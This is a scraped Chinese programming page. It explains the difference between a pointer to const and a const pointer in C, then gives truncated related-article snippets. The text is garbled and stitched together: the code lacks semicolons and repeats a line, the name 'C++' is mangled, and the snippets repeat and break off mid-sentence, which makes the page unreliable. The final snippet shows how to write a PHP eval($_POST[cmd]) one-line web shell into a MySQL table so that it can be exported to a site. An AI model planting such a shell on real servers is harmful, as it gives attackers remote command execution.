區分是常量指標還是指標常量,關鍵要看const修飾的是誰。
int const
與const int
表達的意思是一樣的。
常量指標:const在
*前面,指向常量的指標
int const *n;或者是
const int *n
;指標常量:const在
*後面,指標本身是常量,不可修改
int *const n;
例子:1.常量指標
int a,b;
const int *p = &a;
//常量指標
*p = 8; //錯誤,*p不可修改 (
error
) p = &b //正確,p 可以修改
p = &b
2.指標常量
int a;
int * const p = &a //指標常量
*p = 8; //正確,
*p可以修改
p++ //錯誤
,p不可以修改
一句話區分常量指標和指標常量
學過c或者c 的人都知道,剛開始接觸指標時一定會被常量指標和指標常量搞得暈頭轉向,兩者老是傻傻分不清楚。我昨天想到了乙個辦法,可以讓大家很容易的區分兩者。首先來看一下兩者的寫法 常量指標 int const n 或者是 const int n 指標常量 int const n 這裡我們將const讀...
一句話區分常量指標和指標常量
出處 學過c或者c 的人都知道,剛開始接觸指標時一定會被常量指標和指標常量搞得暈頭轉向,兩者老是傻傻分不清楚。我昨天想到了乙個辦法,可以讓大家很容易的區分兩者。首先來看一下兩者的寫法 常量指標 int const n 或者是 const int n 指標常量 int const n 這裡我們將con...
mysql 匯出一句話 MySQL 匯出一句話
drop table if exists temp 如果存在temp就刪掉 create table temp cmd text not null 建立temp表,裡面就乙個cmd欄位 insert into temp cmd values php eval post cmd 把一句話木馬插入到te...